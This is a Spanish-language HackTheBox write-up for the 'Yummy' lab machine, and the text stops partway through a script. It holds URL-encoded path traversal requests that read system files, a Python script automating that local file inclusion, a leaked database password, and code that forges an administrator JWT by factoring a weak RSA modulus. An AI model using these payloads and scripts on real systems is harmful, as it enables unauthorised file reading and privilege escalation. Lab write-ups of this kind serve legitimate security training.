Yummy – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

‘Yummy’ Avatar


Sinopsis Link to heading

“Yummy” es una máquina de dificultad Difícil de la plataforma HackTheBox. Esta máquina enseña cómo una vulnerabilidad Local File Inclusion desde una página web nos permite leer archivos sensibles del sistema, filtrando componentes que nos permiten forjar un Jason Web Token con privilegios. Adicionalmente, somos capaces de explotar una vulnerabilidad SQL Injection la cual nos permite escribir archivos en el sistema y que éstos sean ejecutados por “cronjobs” previamente programados. Finalmente, esta máquina también enseña cómo ejecutar comandos en los aplicativos Mercurial y RSync; y cómo éstos pueden ser usados para escalar privilegios en sistemas Linux.


User / Usuario Link to heading

Un escaneo con Nmap muestra sólo 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.36

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 23:37 -03
Nmap scan report for 10.10.11.36
Host is up (0.48s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds

Del escaneo podemos ver un dominio: yummy.htb. Agregamos este dominio a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.10.11.36 yummy.htb' | sudo tee -a /etc/hosts

Usando WhatWeb sobre el sitio web nos permite obtener un mail de contacto info@yummt.htb y que éste se encuentra corriendo usando Caddy:

❯ whatweb -a 3 http://yummy.htb

http://yummy.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[info@yummy.htb], Frame, HTML5, HTTPServer[Caddy], IP[10.10.11.36], Lightbox, Script, Title[Yummy]

Buscando sobre Caddy llegamos a su página web oficial (la cual también es open source):

Información
Caddy is a powerful, extensible platform to serve your sites, services, and apps, written in Go.
En corto, es una página para exponer servicios web.

Visitando http://yummy.htb muestra la página de un restaurante:

Yummy 1

En la barra de arriba podemos ver las opciones de Register y Login. Nos creamos una cuenta y nos logueamos. Hecho esto, el sitio ahora nos muestra una opción extra acerca de reservaciones:

Yummy 2

Clickeando en Book a table en la parte superior derecha del sitio nos redirige a un formulario para agendar una reserva:

Yummy 3

Si creamos una simple reservación ahora ésta es mostrada en la página principal de nuestro usuario:

Yummy 4

Clickeando en Cancel reservation borra la reserva y clickeando en Save ICalendar genera un archivo. Descargamos este archivo y lo inspeccionamos:

❯ file Yummy_reservation_20241101_030237.ics

Yummy_reservation_20241101_030237.ics: iCalendar calendar file

Es un archivo de iCalendar.

Podemos visualizar este archivo en una página en línea como Online iCalendar viewer y subir el archivo. Tristemente, éste archivo no da mucha información:

Yummy 5

Abrimos Burpsuite e interceptamos la petición enviada al clickear en el botón Save iCalendar. Obtenemos así la petición:

GET /reminder/22 HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyREzQ.RctjGk1UAFWqI_V76AoK7I2C95s
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/dashboard
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Está soliticando un archivo utilizando un Jason Web Token (o JWT).

Inspeccionando este JWT en https://jwt.io/ muestra:

Yummy 6

Pero no tenemos mucha información para poder manipular este token de momento.

De vuelta a petición que obtuvimos en Burpsuite cuando clickeamos en Save iCalendar, hacemos click derecho en ésta y seleccionamos la opción Do Intercept > Response (y asegurarnos de que sea enviada por HTTP en lugar de HTTPs). Eventualmente, obtenemos así la respuesta:

GET /export/Yummy_reservation_20241101_031837.ics HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Enviamos así una petición a la ruta /export/../../../../../../../../../../etc/passwd, de manera que la petición es ahora:

GET /export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiY3VzdG9tZXJfYWYyM2FhNmEiLCJpYXQiOjE3MzA0Mjk2NDQsImV4cCI6MTczMDQzMzI0NCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiIxNDUzMDE5NzU0MjM4NDE1MzQ4MzYxMDk3NTUxNTQ5NjEzMjk2NTMyODY5NjEzMjU5NzUyODMwMzE4NDY1NTIxNDM3NTc3OTMzMzMyMDc3ODczNDg4NTA5Nzc4NDIxNTUyMjg2NTgxMDg5MTM3MzI1MDMyNzY5MzY0MjY5ODE5NzQ5MTAxNDc2MDYyMDgyNDk0MzY4MTA1NTIzNDg4OTkwMzIxMDI2NDMzMDc4MTg1NTg1NjAwNTI0MjkyOTY3MzUzMDc3MzM3NjU0MDEwMjY2MTI0MzkwNTIyMTc2Njg0OTk0MzQ1NDI3NDc4NDcyODYyODYxNzE5NjA5NjU4MzcwMDkwNTY4MDMxOTA3MTgyMTUwMzk4ODkyMzExNjM4NjcwOTI4NjIwOTMzODY4NDY4MzUzODM0Njg5ODkiLCJlIjo2NTUzN319.AuqhKtdyquWhOVt9jk9v0_c7-i9mY06xnAVJUzEXHW4WC0cMZ65US6gI9g1n8iLr5wXE9mvEvD6j9MgDlicmuflV_wRk53AbN60AyOArxSDK5RGd1u992IkcS8GaFluDBvA4LkA25uxD9tmD6bfine6Vy3WzQQZLgjzaMp3HZ4yRQ4k; session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlc2VydmF0aW9uIGRvd25sb2FkZWQgc3VjY2Vzc2Z1bGx5Il19XX0.ZyRIjQ.2S8ZNvU3iAqsg8tuajdGEJfY5cU
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://yummy.htb/
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Advertencia
Importante: La url deve estar urlencodeada, o el payload puede no funcionar.

Al realizar esto nuestro navegador de internet descarga automáticamente un archivo llamado passwd. Revisando el contenido de este archivo muestra:

❯ cat passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

Este parece ser el archivo /etc/passwd de la máquina víctima; hemos logrado un Local File Inclusion (o LFI).

Tenemos así 3 usuarios: root, dev and qa:

❯ cat passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bash

Para automatizar la lectura de archivos es que creamos un script de Python abusando del Local File Inclusion:

from datetime import datetime
from urllib.parse import urlencode, quote
import sys
import requests
import argparse
import random
import string


headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"}


def parse_arguments():
    """
    Get user flags
    """
    parser = argparse.ArgumentParser(description="Automation for 'Local File Inclusion' in HTB Yummy machine.")
    
    parser.add_argument("-e", "--email", required=True, type=str, help="Email to register for authentication in 'HTB Yummy' webpage.")
    parser.add_argument("-u", "--username", required=True, type=str, help="Username to make the reservation in 'HTB Yummy' page.")
    parser.add_argument("-p", "--password", required=True, type=str, help="Password for authentication in 'HTB Yummy' webpage.")
    parser.add_argument("-f", "--local-file", required=True, type=str, help="File to read through Local File Inclusion vulnerability. Must be an absolute path. Example: /etc/passwd")
    parser.add_argument("--create-account", action="store_true", help="Create an account in 'HTB Yummy' webpage if it has not been already created.")
    
    return parser.parse_args()


def create_account(args: argparse.Namespace)->None:
    """
    Create an account in 'HTB Yummy' webpage (if it has not already been created)
    """
    if not '@' in args.email:
        print("[-] Not a valid email. Try, for example: user@domain.com")
        sys.exit(1)
    register_url = 'http://yummy.htb/register'
    json_data = {"email": args.email, "password": args.password}
    create_account_request = requests.post(url=register_url, headers=headers, json=json_data)
    if 'Invalid' in create_account_request.text:
        print("[-] Username already exists.")
        sys.exit(1)
    print(f"[+] Account created with email {args.email!r} and password {args.password!r}")
    return


def get_encoded_time()->str:
    """
    Get encoded current time in minutes
    """
    current_time = datetime.now().strftime("%H:%M")
    return str(urlencode({"time": current_time}).split('=')[1])


def create_booking(args: argparse.Namespace)->None:
    booking_url = 'http://yummy.htb/book'
    today_date = datetime.today().strftime('%Y-%m-%d')
    length_booking: int = 6
    booking_name: str = f"Booking ID {''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length_booking))}"
    data={'name': args.username,'email': args.email,'phone':'9999999999','date': today_date,'time':get_encoded_time(),'people':'1','message': booking_name}
    request_booking = requests.post(url=booking_url, headers=headers, data=data)
    if request_booking.status_code != 200:
        print(f"[-] Bad status code: {request_booking.status_code!r}")
        sys.exit(1)
    print(f"[+] Booking created as {booking_name!r}") 
    return


def read_file_LFI(args: argparse.Namespace) -> None:
    """
    Execute LFI
    """
    # Get session
    login_url: str = 'http://yummy.htb/login'
    session = requests.Session()
    json_data = {"email": args.email, "password": args.password}
    _ = session.post(url=login_url, headers=headers, json=json_data)
    # Set payloads. Use 'safe' to urlencode '/'
    file_to_read: str = quote('../../../../../../../../../..' + args.local_file, safe='')
    lfi_url: str = 'http://yummy.htb/export/' + file_to_read
    # Get into dashboard
    dashboard_url: str = 'http://yummy.htb/dashboard'
    _ =session.get(url=dashboard_url, headers=headers)
    # Visit reminder page, as shown bu Burp
    reminder_url = 'http://yummy.htb/reminder/21'
    _ = session.get(url=reminder_url, headers=headers, allow_redirects=False)
    # Execute LFI
    print(f"[+] Making http request to {lfi_url!r}")
    lfi_req = session.get(url=lfi_url, headers=headers, allow_redirects=False)
    print(f'[+] Output obtained:\n\n' + lfi_req.text)


def main()->None:
    # Get user arguments
    args: argparse.Namespace = parse_arguments()
    # If a user has not already been created (and if requested), create a user
    if args.create_account:
        create_account(args)
    # Create a random booking
    create_booking(args)
    # Execute LFI
    read_file_LFI(args)


if __name__ == "__main__":
    main()

Y lo ejecutamos:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd'

[+] Booking created as 'Booking ID KMgA4h'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
[+] Output obtained:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
<SNIP>

El script funciona.

Nota

Alrededor de cada ~10 minutos nuestra cuenta de usuario que habíamos creado es borrada. Si esto sucede, cuando ejecutamos el payload mostrado anteriormente, deberíamos obtener de respuesta un mensaje de Redirecting a la página principal. Si esto llega a suceder necesitamos crear nuestro un usuario nuevamente en la página web. Para este propósito podemos utilizar la opción/flag --create-account en el script para crear un nuevo usuario automáticamente; ejecutando, por ejemplo:

❯ python3 exploit.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/passwd' --create-account

Revisamos si los usuarios dev o qa tienene keys de SSH expuestas, pero no tenemos éxito.

Luego de probar con algunas rutas de esta lista una de las primeras funciona:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/etc/crontab'

[+] Booking created as 'Booking ID T9ZLgf'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fcrontab'
[+] Output obtained:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Somos capaces de encontrar información util en el archivo /etc/crontab. Tenemos 3 scripts corriendo: app_backup.sh, table_cleanup.sh y dbmonitor.sh. Todos ellos ubicados en el directorio /data/scripts.

Dado que el script /data/scripts/app_backup.sh está siendo ejecutado por www-data, asumo que deberíamos ser capaces de leer este archivo. Leyendo este archivo muestra:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/app_backup.sh'

[+] Booking created as 'Booking ID e2Zgbp'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fscripts%2Fapp_backup.sh'
[+] Output obtained:

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

Este script está realizando una copia del directorio /opt/app y lo guarda en el archivo comprimido /var/www/backupapp.zip. Si tratamos de leer este archivo, éste es demasiado grande para ser leído, incluso si intentamos pasar su contenido a base64. Dado que existe un directorio /opt/app, usualmente deberíamos de tener un aplicativo app.py dentro de este directorio (usualmente para servidores web usando Flask). Afortunadamente, leer este archivo funciona:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/opt/app/app.py'

[+] Booking created as 'Booking ID 7QP4D4'
[+] Making http request to 'http://yummy.htb/export/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fapp%2Fapp.py'
[+] Output obtained:

from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone

<SNIP>

Tal como pensábamos, es un archivo corriendo Flask.

Luego de leer el script, aquí hay algunas partes importantes:

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS
}

Esta contraseña no funciona para el usuario dev o qa a través de SSH.

También podemos ver las funciones:

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

Básicamente, si somos el usuario administrator la página debería de redirigirnos a la ruta admindashboard.

Además, podemos ver una parte donde se forjan los JWTs:

with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401

Está usando una librería llamada signature. Viendo las primeras líneas del script muestra de dónde está siendo importada esta librería:

from config import signature

Parece ser una librería custom para este script.

Por ende, intentamos leer /opt/app/config/signature.py y obtenemos el script:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

Para ver la signature (firma) generada copio el código en mi máquina de atacante, pero lo mosifico levemente para además ver el token generado. Adicionalmente, necesitamos crear un entorno virtual e instalar en él todas las dependencias necesarias. Primero lo primero, creamos el entorno virtual e instalamos en él todas las librerías que se necesitan para forjar un JWT (y algunas otras que puede que necesitemos después):

❯ python3 -m venv .venv_signature

❯ source .venv_signature/bin/activate

❯ pip3 install PyJWT cryptography sympy pycryptodome requests

Podemos saber si las librerías han sido instaladas correctamente simplemente copiando signature.py en nuestra máquina de atacantes y ejecutarlo. Si no vemos errores ello quiere decir que estamos bien para continuar.

We will then copy signature.py into a new file named modified_signature.py and create a new JWT token based on the structure provided by https://jwt.io/ when we passed our user token. Therefore, modified_signature.py script looks like: Copiamos entonces signature.py en un nuevo archivo llamado modified_signature.py y creamos un nuevo JWT basados en la estructura dada por el token extraído al analizarlo en https://jwt.io/. Ergo, el script modified_signature.py se ve como:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

# Added payload, forge JWT token based on our user token
payload ={
    'email':'gunzf0x@gunzf0x.htb', # email really does not matter, since 'app.py' will just validate the role
    'role':'administrator', # set 'administrator' role, as found in 'app.py'
    'iat':int(datetime.now(timezone.utc).timestamp()),
    'exp':int((datetime.now(timezone.utc)+ timedelta(hours=3650)).timestamp()),
    'jwk':{ # add items in JWT
    'kty':'RSA',
    'n': key_data['n'],
    'e': key_data['e']
  }
}

# Create the token
jwt_token = jwt.encode(payload, private_key, algorithm='RS256')

# Print the generated token
print(f"[+] Generated JWT token:\n\n{jwt_token}")

Ejecutar este script aparentemente funciona:

❯ python3 modified_signature.py

[+] Generated JWT token:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imd1bnpmMHhAZ3VuemYweC5odGIiLCJyb2xlIjoiYWRtaW5pc3RyYXRvciIsImlhdCI6MTczMDQ0MDg2NywiZXhwIjoxNzQzNTgwODY3LCJqd2siOnsia3R5IjoiUlNBIiwibiI6MTA4NzIyODQ1ODQ3OTUzMzQ0MzM0MzEwMjM1MDczOTc2MTYzMTU2NjQ1NDk2NTU4NDYzNjE2OTY2Mzk1MDc4NTEzNTk0NDMyOTgzNjg4OTM1ODA0MTMyOTA5MDkyNTAzOTczODc1MzYzMjgyMzY1MDQyMTkzNDQxMDM3MTAyNjMyODU0OTEzNjI4NjIzMjUxMDE0ODg4ODQ4MDE1MzMxNzExNjEzODAzNTY4NTY4MzgxODY4MDQ0NTQ3MDUwNTE5MTY3MjAzMzIxNDY2NTE3NTU5MTk5MTQ1NTgwMDA2NTE2NjIyMjI4NTc2NjY5NTE5ODAyMTE3MDUwMjM4NTM0MTU0MDQ1MzY1Mjc2NTM1NjcwNjY5MDMxMjk1NjMyNTMxNzEyNTg0ODE3NDMwNDYxMjE5MjQ3ODY1ODA5LCJlIjo2NTUzN319.BMquF3lVzvcOHUaiUG-hX-B66gJpPgRGTksX8JWSn3F1aIurTNSd-kUF4uwvOzIMd9DJJgOMB0USkdzgsb2nJDbGn0GWFAnZ9Pu2fWQ8qsNwdYjSO0_xBz99sjkzGBlWBsaIxiH9c6BUCKRzIpmNlCcg0vRbUO7MScAocV7pvNa32eg

Copiamos este token, vamos a http://yummt.htb y pasamos este nuevo JWT:

Yummy 7

No obstante, al poner este token en la página web éste no funciona. ¿Por qué? Luego de un tiempo me doy cuenta que la “clave privada” (private key) es generada en mi servidor (máquina de atacante), mientras que la key generada en el servidor es generada, como no puede ser de otra manera, en el mismo servidor.

Es así como tenemos un problema: este JWT está usando el algoritmo RSA (un algoritmo asimétrico); no HS256 (un algoritmo simétrico) que es el que usualmente encontramos para JWTs. Necesitamos el número criptográfico n; y el par único p y q el cual le correponden a éste. Podemos encontrar este n usando el token original generado para nuestra usuario en la página web cuando nos creamos éste. De manera que reordenamos nuestro código para generar un token y extraer los números criptográficos necesarios para nuestro token. No explicaré en detalle toda la teoría detrás del algoritmo RSA, pero para el lector que lo desee puede encontrar más información aquí. Necesitamos así generar un nuevo JWT basado en uno generado originalmente por el servidor y modificarlo. El plan a seguir es simple:

  1. Crear una nueva cuenta (de manera que el token generado no expire pronto) y extraer su JWT desde nuestro navegador de internet.
  2. Usamos este nuevo token para extraer los números criptográficos necesarios.
  3. Modificamos este token y creamos uno nuevo, pero cambiándole el rol a administrator.
  4. Usar el nuevo token para acceder a la ruta /admindashboard.

Para esto creamos un nuevo script en Python el cual acepta esta vez como argumento el JWT generado originalmente por la página web:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
from datetime import datetime, timedelta, timezone
import jwt
import requests
import argparse
import sys
import json


def parse_arguments():
    """
    Get user flags
    """
    parser = argparse.ArgumentParser(description="Creates a JWT for 'HTB Yummy' machine.")
    
    parser.add_argument("-t", "--token", required=True, type=str, help="Jason Web Token extracted from 'HTB Yummy'.")
    parser.add_argument("--check-cookie", action="store_true", help="Check if generated cookie works.")
    
    return parser.parse_args()


def get_numbers_from_original_token(token):
    # Decode the JWT token
    try:
        # Decode without verifying the signature (just for extracting values)
        headers = jwt.get_unverified_header(token)
        payload = jwt.decode(token, options={"verify_signature": False})

        # Print the headers and payload
        print(70*"=")
        print(25*' ' + "Original JWT Info")
        print(70*"=")
        print("Header:")
        print(json.dumps(headers, indent=2))
        print("\nPayload:")
        print(json.dumps(payload, indent=2))
        
        # Extract the "n" and "e" value from JWT (if available)
        jwk = payload.get('jwk')
        if jwk:
            return int(jwk.get('n')), int(jwk.get('e'))
        else:
            print("[-] 'n' not found in token.")
            sys.exit(1)

    except jwt.ExpiredSignatureError:
        print("[-] The token has expired.")
    except jwt.InvalidTokenError:
        print("[-] Invalid token.")
    sys.exit(1)


def get_numbers(token, n, e):
    factors = sympy.factorint(n)
    for factor, exponent in factors.items():
        # Find numbers
        print(f"[+] Factor: {factor}, exponent: {exponent}")
        p, q = 0, 0
        if len(factors) == 2:
            p, q = factors.keys()
        print(f"[+] Found numbers: p = {p}, q = {q}")
        phi_n = (p -1)*(q -1)
        d = pow(e,-1, phi_n)
